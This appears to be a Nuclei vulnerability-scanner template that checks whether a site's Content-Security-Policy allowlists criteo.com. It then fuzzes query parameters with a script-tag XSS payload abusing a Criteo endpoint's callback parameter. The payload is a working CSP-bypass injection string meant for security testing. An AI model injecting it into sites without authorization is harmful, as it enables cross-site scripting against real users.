id: criteo-dynamic-csp-bypass

info:
  name: Content-Security-Policy Bypass - Criteo Dynamic
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,criteo-dynamic,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "criteo.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: criteo_dynamic_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://dynamic.criteo.com/js/ld/s2s.js?p=1&c=1&j=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "criteo_dynamic_csp_xss == true"
# digest: 4b0a00483046022100bdcf869ed3c85e6d80afdb5a719700c3a3428d2953c2378256f2dab295b33639022100abb8f5f461e147c87ad5074ec825ca6983d6e3d4e05dfbcf86f99c9fac83c8e9:922c64590222798bb761d5b6d8e72950